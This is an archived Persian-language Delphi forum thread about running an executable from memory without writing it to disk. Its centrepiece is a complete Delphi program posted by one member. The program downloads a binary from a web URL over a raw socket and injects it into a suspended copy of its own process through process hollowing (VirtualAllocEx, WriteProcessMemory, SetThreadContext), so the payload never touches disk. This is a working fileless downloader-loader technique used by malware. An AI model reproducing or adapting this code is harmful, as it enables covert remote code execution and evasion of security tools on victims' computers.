PDA

View Full Version : EXE تو EXE



Hamid_PaK
یک شنبه 12 تیر 1384, 23:01 عصر
کسی میدونه چطوری میشه یه EXE رو توی یه EXE دیگه اجراش کرد بدونه اینکه جایی روی هارد بازشه ؟؟؟

Delphi_Developer
دوشنبه 13 تیر 1384, 02:27 صبح
یعنی یه EXE توی یه فایل Embed شده حالا میخوای اون رو اجرا کنی ؟

Hamid_PaK
دوشنبه 13 تیر 1384, 08:35 صبح
نمیدونم ولی فکر میکنم که اگه Embed بشه باید حتما یه جا با شه !
فکر میکنم جواب توی این برنامه های EXE Compressor هست چطوری Exe رو Pack کرده بعد بازش می کنن ؟؟؟

Hamid_PaK
دوشنبه 13 تیر 1384, 14:07 عصر
یه چیزه دیگه کسی میدونه UPX چطوری کار میکنه ؟؟؟

Delphi_Developer
دوشنبه 13 تیر 1384, 15:19 عصر
نمیدونم ولی فکر میکنم که اگه Embed بشه باید حتما یه جا با شه !
یعنی چی یه جا باشه ؟ یعنی اون فایلی که Embed میشه داره از یه جای دیگه Load میکنه ؟ نه بابا تو خود EXE هست .

فکر میکنم جواب توی این برنامه های EXE Compressor هست چطوری Exe رو Pack کرده بعد بازش می کنن ؟؟؟

Compressor ها فقط کارشون کم کردن حجم برنامه هست و کاری به این ندارن که شما توی فایلت چی Embed کردی - و در مورد Pack --- اون که چجوری برنامه ها از حالت Pack در میارن یا همون Unpack مخالف قوانین سایت هست و من نمیتونم اینجا مطرحش کنم . :sorry:


یه چیزه دیگه کسی میدونه UPX چطوری کار میکنه ؟؟؟

UPX یکی از معروفترین Compressor ها هست و برای استفاده از اون شما Command Prompt رو باز میکنی بعد وارد Directory که UPX اونجاست میشی بعد تایپ میکنی :


UPX Filename

جای Filename باید آدرس فایلی که میخوای Compress کنی رو بنویسی - البته برای این که کارت راحت تر بشه میتونی فایلت رو داخل دایرکتوری UPX کپی کنی بعد دیگه جای Filenaem فقط اسم فایلت رو بدی و یه راه آسون تر دیگه هم داری . بعد از اینکه فایلت رو تو دایرکتوری UPX کپی کردی کنارش یه فایل .BAT بسازی بعد توی اون کد رو قرار بدی بعد اون رو اجرا کنی و UPX شروع به Compress کردن میکنه .
موفق باشی.

Delphi_Developer
دوشنبه 13 تیر 1384, 15:22 عصر
اون که چجوری برنامه ها از حالت Pack در میارن یا همون Unpack مخالف قوانین سایت هست و من نمیتونم اینجا مطرحش کنم .
فکر کنم من منظورت رو اشتباه فهمیدم --- جئابت میشه همونی که در آخر گفتم :sunglass:

Hamid_PaK
دوشنبه 13 تیر 1384, 15:46 عصر
فکر میکنم بازم اشتباهی شده منظورم این بود که اگه یه فایلی Embed شده باشه شما چطوری می خواهید اون رو اجرا کنید مگه Stream رو هم میشه Run کرد ؟؟؟؟؟

و در مورد مواردی که در این سایت غیر قانونی است نمیشه یه جای دیگه در مورد اونا بحس کنیم :oops:

Delphi_Developer
دوشنبه 13 تیر 1384, 17:44 عصر
فکر میکنم بازم اشتباهی شده منظورم این بود که اگه یه فایلی Embed شده باشه شما چطوری می خواهید اون رو اجرا کنید مگه Stream رو هم میشه Run کرد ؟؟؟؟؟
نه بابا - اونایی رو که توی یه فایل EXE جاش میدن همون فایل EXE هستش که اگه با یه Hex Viewer بازشون کنی اینو متوجه میشی و زمانی که برنامه به اون فایل نیاز داره اون رو به صورت یه فایل Extract میکنه مه یه جورایی فرقی با کپی کردن نداره بعد اون رو Run میکنه .

و در مورد مواردی که در این سایت غیر قانونی است نمیشه یه جای دیگه در مورد اونا بحس کنیم
میتونی به طرف ایمیل بزنی . :sunglass:

Hamid_PaK
دوشنبه 13 تیر 1384, 19:37 عصر
Delphi_Developer از شما ممنونم که سوالات من رو پاسخ میدین . . .
از اول شروع می کنم و تصحیح می کنم آیا میشه یک EXE رو از طریق ُStream یا روشی مشابه Run کرد بدون اینکه جایی روی هارد باز شه ؟؟؟؟؟

مهدی کرامتی
دوشنبه 13 تیر 1384, 20:51 عصر
ببین عزیز، کاری که میخوای انجام بدی به این آسونی ها نیست.

برای انجام چنین کاری باید بخشهای مورد نیاز Exe مورد نظر رو استخراج کرده و در حافظه قرار بدی، سپس Instruction Pointer رو بر روی آدرس شروع برنامه (OEP) قرار بدی.

اگر اطلاعات بیشتر میخوای سورس UPX رو مطالعه کن.

Hamid_PaK
دوشنبه 13 تیر 1384, 20:58 عصر
DelphiAssistant ممنونم :flower:
می دونم که کاره ساده ای نیست اما یکروز انجامش می دم !!!

Inprise
سه شنبه 14 تیر 1384, 01:35 صبح
از اول شروع می کنم و تصحیح می کنم آیا میشه یک EXE رو از طریق ُStream یا روشی مشابه Run کرد بدون اینکه جایی روی هارد باز شه ؟؟؟؟؟

بله . کد ذیل رو که قبلا" هم یکبار به درخواست دوست دیگری منتشر کرده بودم برای چنین منظوری نوشته ام ، برنامه اصلی ات کد باینری دوم رو از طریق وب دریافت میکنه و بلافاصله روی حافظه اجراش میکنه ؛ هیچ Disk Image ای وجود نخواهد داشت ؛ اگر مایل بودی میتونی کد رو مطابق میلت تغییر بدی تا بجای دریافت از سوکت ، از یک فایل ریسورس ، باینری دوم رو بگیره . تا وقتی منفعت تجاری از این کد عاید کسی نشه ، استفاده و انتشار مجدد اون بلا مانعه


program InpyRecfW;

{$IMAGEBASE $10000000}

uses
Windows, SocketUnit;

type
TSections = array [0..0] of TImageSectionHeader;

var
Target: pchar = #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0 #0#0#0#0#0#0#0#0#0#0#0#0;
Output: pointer;
OutputLength: dword;

function ExtractURLSite(FileName: string): string;
begin
Result := Copy(FileName, 1, Pos('/', FileName) - 1);
end;

function ExtractURLPath(FileName: string): string;
begin
Result := Copy(FileName, Pos('/', FileName), Length(FileName) - Pos('/', FileName) + 1);
end;

function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := '';
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
begin
Inc(StringLoop, Length(Deliminator) - 1);
Inc(StringCount);
if StringCount = Index then
begin
Result := Buffer;
Exit;
end
else
begin
Buffer := '';
end;
end
else
begin
Buffer := Buffer + Copy(Input, StringLoop, 1);
end;
Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := '';
Result := Buffer;
end;

procedure GetURL(Address: string);
var
HTTP: TClientSocket;
Data: pointer;
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: dword;
Header: string;
Site: string;
URL: string;
Location: string;
begin
Location := Split(Address, '://', 2);
Site := ExtractURLSite(Location);
URL := ExtractURLPath(Location);
GetMem(Buffer, 1024);
try
BufferLength := 1024;
BufferUsed := 0;;
HTTP := TClientSocket.Create;
HTTP.Connect(Site, 80);
HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);
HTTP.Idle(0);
while HTTP.Connected do
begin
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
ReallocMem(Buffer, BufferLength);
end;
Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);
if Bytes > 0 then
begin
Inc(BufferUsed, Bytes);
end;
end;
Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
OutputLength := BufferUsed - dword(Length(Header));
Data := pointer(dword(Buffer) + dword(Length(Header)));
GetMem(Output, OutputLength);
Move(Data^, Output^, OutputLength);
finally
FreeMem(Buffer);
end;
end;

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size mod Alignment) = 0) then
begin
Result := Size;
end
else
begin
Result := ((Size div Alignment) + 1) * Alignment;
end;
end;

function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
begin
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
end
else
begin
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
end;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then
begin
if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
begin
Result := Result + PSections[SectionLoop].Misc.VirtualSize;
end
else
begin
Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
end;
end;
end;
end;

procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeO fHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.Virtual Size, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.Virtual Size, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;

begin
GetURL(Target);
CreateProcessEx(Output);
end.

1-لطفا" اگر چیزی در مورد Win32 API Programming نمیدونی در مورد نحوهء عملکردش ازم سوال نکن ؛‌( برای شروع میتونی مقالهء Process Injection و کدی که برای نمایش عملکردش تو بخش امنیت نرم افزار نوشته ام استفاده کنی )

2- یونیت سوکت رو برای کاهش حجم کد نهائی ، خودم نوشتم ، مبتنی بر WinSock2 ، قاعدتا" این کد به درد کسانی خواهد خورد که از پس اعمال تغییرات لازمه بر میان .
موفق باشی

Delphi_Developer
سه شنبه 14 تیر 1384, 01:42 صبح
آقای Inprise با تشکر و یه سوال :
من هنوز کد رو امتحان نکردم --- ببینیم با این کد میشه محتویات یه فایل EXE رو تغییر داد ؟

Inprise
سه شنبه 14 تیر 1384, 01:46 صبح
اگر منظور باینری دومی است که قراره فقط روی حافظه زندگی کنه : بله ؛

Hamid_PaK
چهارشنبه 15 تیر 1384, 10:27 صبح
آقای Inprise من جدا از شما تشکر می کنم :flower:

کد جالب و جامعی است . :D

در انتها جا داره من از آقای کرامتی (DelphiAssistant) نیز تشکر کنم.
(اشتباه من بود در اضافه شدن یک تاپیک تکراری)